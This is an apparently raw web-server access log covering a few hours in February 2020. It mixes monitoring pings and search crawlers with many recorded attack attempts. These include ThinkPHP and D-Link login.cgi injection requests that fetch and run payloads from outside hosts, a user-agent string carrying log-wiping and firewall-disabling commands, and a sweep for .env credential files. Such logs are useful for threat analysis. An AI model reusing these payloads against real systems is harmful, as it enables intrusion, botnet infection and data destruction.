212.91.246.72 - - [22/Feb/2020:23:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [22/Feb/2020:23:51:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [22/Feb/2020:23:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.67.105.20 - - [22/Feb/2020:23:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:23:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [23/Feb/2020:00:00:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [23/Feb/2020:00:00:18 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [23/Feb/2020:00:00:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [23/Feb/2020:00:00:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
124.43.8.138 - - [23/Feb/2020:00:01:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.155.84.105 - - [23/Feb/2020:00:06:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
197.149.67.138 - - [23/Feb/2020:00:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
115.20.222.185 - - [23/Feb/2020:00:09:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [23/Feb/2020:00:09:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [23/Feb/2020:00:09:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [23/Feb/2020:00:09:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
182.121.98.231 - - [23/Feb/2020:00:10:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
168.196.129.205 - - [23/Feb/2020:00:17:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.235.234.210 - - [23/Feb/2020:00:20:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
66.249.64.150 - - [23/Feb/2020:00:22:21 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.150 - - [23/Feb/2020:00:22:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.254 - - [23/Feb/2020:00:32:31 +0100] "GET /robots.txt HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.252 - - [23/Feb/2020:00:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
91.226.101.40 - - [23/Feb/2020:00:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
149.12.219.22 - - [23/Feb/2020:00:43:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.186.114.221 - - [23/Feb/2020:00:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
62.249.142.67 - - [23/Feb/2020:00:50:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
200.45.225.115 - - [23/Feb/2020:00:51:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:38 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:39 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [23/Feb/2020:00:55:40 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
121.180.208.154 - - [23/Feb/2020:00:58:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [23/Feb/2020:00:58:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [23/Feb/2020:00:58:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [23/Feb/2020:00:58:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [23/Feb/2020:00:59:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
60.191.52.254 - - [23/Feb/2020:01:02:55 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
78.173.111.195 - - [23/Feb/2020:01:12:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.23.45.47 - - [23/Feb/2020:01:12:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.68.246.198 - - [23/Feb/2020:01:12:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
109.169.239.108 - - [23/Feb/2020:01:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
182.253.72.125 - - [23/Feb/2020:01:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.180.241.147 - - [23/Feb/2020:01:16:57 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.25.156.83 - - [23/Feb/2020:01:21:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://172.245.6.129/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.122.178.57 - - [23/Feb/2020:01:21:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.81.7.109 - - [23/Feb/2020:01:26:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.51.242.196 - - [23/Feb/2020:01:32:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.51.242.196 - - [23/Feb/2020:01:32:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.51.242.196 - - [23/Feb/2020:01:32:20 +0100] "\x16\x03\x01" 501 318 "-" "-"
49.51.242.196 - - [23/Feb/2020:01:32:20 +0100] "\x16\x03\x01" 501 318 "-" "-"
139.162.106.181 - - [23/Feb/2020:01:43:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
161.22.4.244 - - [23/Feb/2020:01:59:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
89.248.171.97 - - [23/Feb/2020:01:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [23/Feb/2020:01:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
181.123.176.200 - - [23/Feb/2020:02:00:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.225.111.6 - - [23/Feb/2020:02:03:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.194.33.243 - - [23/Feb/2020:02:13:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.240.103.155 - - [23/Feb/2020:02:13:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
138.255.186.71 - - [23/Feb/2020:02:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
54.36.149.50 - - [23/Feb/2020:02:20:24 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
66.249.70.31 - - [23/Feb/2020:02:22:49 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.70.29 - - [23/Feb/2020:02:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
5.48.122.21 - - [23/Feb/2020:02:27:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
120.24.53.87 - - [23/Feb/2020:02:28:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
162.243.135.4 - - [23/Feb/2020:02:36:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.135.4 - - [23/Feb/2020:02:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.135.4 - - [23/Feb/2020:02:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.135.4 - - [23/Feb/2020:02:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.135.4 - - [23/Feb/2020:02:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
79.115.135.243 - - [23/Feb/2020:02:38:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
131.100.83.180 - - [23/Feb/2020:02:38:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
162.243.135.4 - - [23/Feb/2020:02:38:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
36.66.193.50 - - [23/Feb/2020:02:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
162.243.135.4 - - [23/Feb/2020:02:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.135.4 - - [23/Feb/2020:02:40:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.135.4 - - [23/Feb/2020:02:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
105.247.85.89 - - [23/Feb/2020:02:47:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.44.58.2 - - [23/Feb/2020:02:49:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
62.69.241.72 - - [23/Feb/2020:02:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.75.115.217 - - [23/Feb/2020:02:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.89.170.223 - - [23/Feb/2020:03:00:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.249.64.215 - - [23/Feb/2020:03:02:59 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.213 - - [23/Feb/2020:03:02:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
111.229.38.228 - - [23/Feb/2020:03:04:55 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.229.38.228 - - [23/Feb/2020:03:04:55 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
86.120.40.198 - - [23/Feb/2020:03:18:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
